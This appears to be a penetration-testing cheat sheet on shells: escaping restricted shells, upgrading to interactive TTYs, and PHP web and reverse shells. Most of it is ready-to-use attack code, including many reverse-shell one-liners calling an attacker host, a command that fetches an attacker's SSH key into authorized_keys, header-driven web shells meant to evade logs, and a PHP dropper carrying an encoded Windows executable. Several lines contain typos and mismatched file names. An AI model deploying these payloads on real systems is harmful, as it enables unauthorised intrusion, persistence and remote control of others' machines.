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Shells

I like using port 443 as its generally open on firewalls for HTTPS traffic. Sometimes servers and firewalls block non standard ports like 4444 or 1337
If connections drops or can not be established, try different ports 80,443,8080...
terminal = tty = text input/output environment
console = physical terminal
shell = command line interpreter
https://unix.stackexchange.com/questions/4126/what-is-the-exact-difference-between-a-terminal-a-shell-a-tty-and-a-con 
Escaping limited interpreters
Some payloads to overcome limited shells:
ssh user@$ip nc $localip 4444 -e /bin/sh
enter user's password
​
export TERM=linux
python -c 'import pty; pty.spawn("/bin/sh")'
python3 -c 'import pty; pty.spawn("/bin/sh")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("$ip",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),   *$ 1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
echo os.system('/bin/bash')
/bin/sh -i
exec "/bin/sh";
perl —e 'exec "/bin/sh";'
​
Related Shell Escape Sequences...
​
    vi-->	:!bash
    vi-->	:set shell=/bin/bash:shell
    awk-->	awk 'BEGIN {system("/bin/bash")}'
    find-->	find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' \;
    perl-->	perl -e 'exec "/bin/bash";'
​
go into /bin/ and see what binaries are in there.
/bin/csh -i # worked for BSD
From within tcpdump
echo $’id\n/bin/netcat $ip 443 -e /bin/bash’ > /tmp/.test
chmod +x /tmp/.test
sudo tcpdump -ln -I eth- -w /dev/null -W 1 -G 1 -z /tmp/.tst -Z root
From busybox
/bin/busybox telnetd -|/bin/sh -p9999
:!bash
:set shell=/bin/bash:shell
!bash
find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' ;
awk 'BEGIN {system("/bin/bash")}'
--interactive
echo "os.execute('/bin/sh')"
sudo nmap --script=exploit.nse
perl -e 'exec "/bin/bash";'
Add public key to authorized keys:
echo $(wget https://ATTACKER_IP/.ssh/id_rsa.pub) >> ~/.ssh/authotized_keys
Python TTY shells
https://github.com/infodox/python-pty-shells
on kali
edit tcp_pty_backconnect.py add kali ip and port and upload to target
python tcp_pty_shell_handler.py -b $kaliip:$port
​
on victim
chmod +x tcp_pty_backconnect.py
python tcp_pty_backconnect.py
Ippsec using tool
https://youtu.be/NMGsnPSm8iw
Upgrading to fully interactive 
# On victim
python -c 'import pty;pty.spawn("/bin/bash")'
Ctrl-z
# On attacker
echo $TERM # note down
stty -a # note down rows and cols
stty raw -echo # this may be enough
fg
# On victim
reset
export SHELL=bash
export TERM=xterm256-color
stty rows 38 columns 116
Note: Netcat (nc) OpenBSD does not support -e
https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
Set PATH TERM and SHELL if missing:
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
export TERM=xterm
export SHELL=bash
PHP
Webshell
Web shells are hard to detect
This command will run system commands on the underlying system and return the complete output as a string
​https://guide.offsecnewbie.com/web#php-ini​
Try to get this code on the server - possibly by contaminating a log file

use nc to connect to server - the connect will be logged
if a reverse shell is not returning back to you try a diff shell maybe python. run 'which python' to see if python is available
# Execute one command
<?php system("whoami"); ?>
​
# Take input from the url paramter. shell.php?cmd=whoami
#remember you might have to add index.php to url then you can do index.php?cmd=whoami
<?php system($_GET['cmd']); ?>
​
# The same but using passthru
<?php passthru($_GET['cmd']); ?>
​
# For shell_exec to output the result you need to echo it
<?php echo shell_exec("whoami");?>
​
# Exec() does not output the result without echo, and only output the last line. So not very useful!
<?php echo exec("whoami");?>
​
# Instead to this if you can. It will return the output as an array, and then print it all.
<?php exec("ls -la",$array); print_r($array); ?>
​
# preg_replace(). This is a cool trick
<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>
​
# Using backticks
<?php $output = `whoami`; echo "<pre>$output</pre>"; ?>
​
# Using backticks
<?php echo `whoami`; ?>
​
# download netcat and run it
<?php include (location of netcat),exec(reverse shell);?>
Then you can execute the commands like this
http://victim/index.php?cmd=pwd
Make the commands from above a bit more stealthy. Instead of passing the cmds through the url, which will be obvious in logs, pass them through other header-parameters. The use tamper data or burpsuite to insert the commands. Or just netcat or curl.
<?php system($_SERVER['HTTP_ACCEPT_LANGUAGE']); ?>
<?php system($_SERVER['HTTP_USER_AGENT'])?>
<?php system($_SERVER['HTTP_USER_AGENT'])?>
add it to index page of a wordpress theme
http://$ip/webshell.php?cmd=id
You can use this to move from web shell to a command line shell
http://$ip/webshell.php?cmd=nc $kali $port -e /bin/sh
Windows Shell
<?php
​
header('Content-type: text/plain');
$ip   = "1.2.3.4; //change this 
$port = "1234"; //change this
$payload = "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";
$evalCode = gzinflate(base64_decode($payload));
$evalArguments = " ".$port." ".$ip;
$tmpdir ="C:\\windows\\temp";
chdir($tmpdir);
$res .= "Using dir : ".$tmpdir;
$filename = "D3fa1t_shell.exe";
$file = fopen($filename, 'wb');
fwrite($file, $evalCode);
fclose($file);
$path = $filename;
$cmd = $path.$evalArguments;
$res .= "\n\nExecuting : ".$cmd."\n";
echo $res;
$output = system($cmd);
			            
?>
maybe URL encode it
Commands to try in a webshell to find out a bit more about system through webshell to help you get a command line shell
Kali shells
/usr/share/webshells/
Copy php-reverse-shell.php to working directory
cp /usr/share/webshells/php/php-reverse-shell.php php-reverse-shell.php
Best PHP reverse shell:
<?php
echo 'running shell';
$ip='YOUR_IP';
$port='YOUR_PORT';
$reverse_shells = array(
    '/bin/bash -i > /dev/tcp/'.$ip.'/'.$port.' 0<&1 2>&1',
    '0<&196;exec 196<>/dev/tcp/'.$ip.'/'.$port.'; /bin/sh <&196 >&196 2>&196',
    '/usr/bin/nc '.$ip.' '.$port.' -e /bin/bash',
    'nc.exe -nv '.$ip.' '.$port.' -e cmd.exe',
    "/usr/bin/perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\"".$ip.":".$port."\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'",
    'rm -f /tmp/p; mknod /tmp/p p && telnet '.$ip.' '.$port.' 0/tmp/p',
    'perl -e \'use Socket;$i="'.$ip.'";$p='.$port.';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\''
);
foreach ($reverse_shells as $reverse_shell) {
   try {echo system($reverse_shell);} catch (Exception $e) {echo $e;}
   try {shell_exec($reverse_shell);} catch (Exception $e) {echo $e;}
   try {exec($reverse_shell);} catch (Exception $e) {echo $e;}
}
system('id');
?>
If a shell session closes quickly after it has been established, try to create a new shell session by executing one of the following commands on the initial shell. This will create a nested session!
bash
/bin/sh
/bin/sh -i
Using netcat
nc <attacker_ip> <port> -e /bin/bash
Using bash and TCP sockets
/bin/bash -i > /dev/tcp/<attacker_ip>/<port> 0<&1 2>&1
Using sh and TCP sockets
0<&196;exec 196<>/dev/tcp/<attacker_ip>/<port>; sh <&196 >&196 2>&196
Using telnet
telnet <attacker_ip> <1st_port> | /bin/bash | telnet <attacker_ip> <2nd_port>
PHP and sh
php -r '$sock=fsockopen("<attacker_ip>",<port>);exec("/bin/sh -i <&3 >&3 2>&3");'
weevely
https://www.acunetix.com/blog/articles/web-shells-action-introduction-web-shells-part-4/
Perl and sh
perl -e 'use Socket;$i="<attacker_ip>";$p=<port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Perl forking:
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"ip:port");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<attacker_ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Reverse shell with python script:
#!/usr/bin/python
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("IP",port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
Go reverse shell
Communicates over DNS
https://github.com/sysdream/chashell
Discover shell environment
Command
Output
php -v
PHP version
Python -V
Python version
Perl -v
Perl version
ls /usr/bin
Directory contents /usr/bin
uname -a
System information Linux
dir C:\”Program Files”
Directory contents Windows Program Files folder
systeminfo
System information Windows
id
Current user Linux
whoami
Current user Windows
pwd
Print working directory
Reading
https://www.acunetix.com/blog/articles/introduction-web-shells-part-1/
​
Windows
Port Forwarding / SSH Tunneling
Last updated 1 week ago
Command	Output
php -v	PHP version
Python -V	Python version
Perl -v	Perl version
ls /usr/bin	Directory contents /usr/bin
uname -a	System information Linux
dir C:\”Program Files”	Directory contents Windows Program Files folder
systeminfo	System information Windows
id	Current user Linux
whoami	Current user Windows
pwd	Print working directory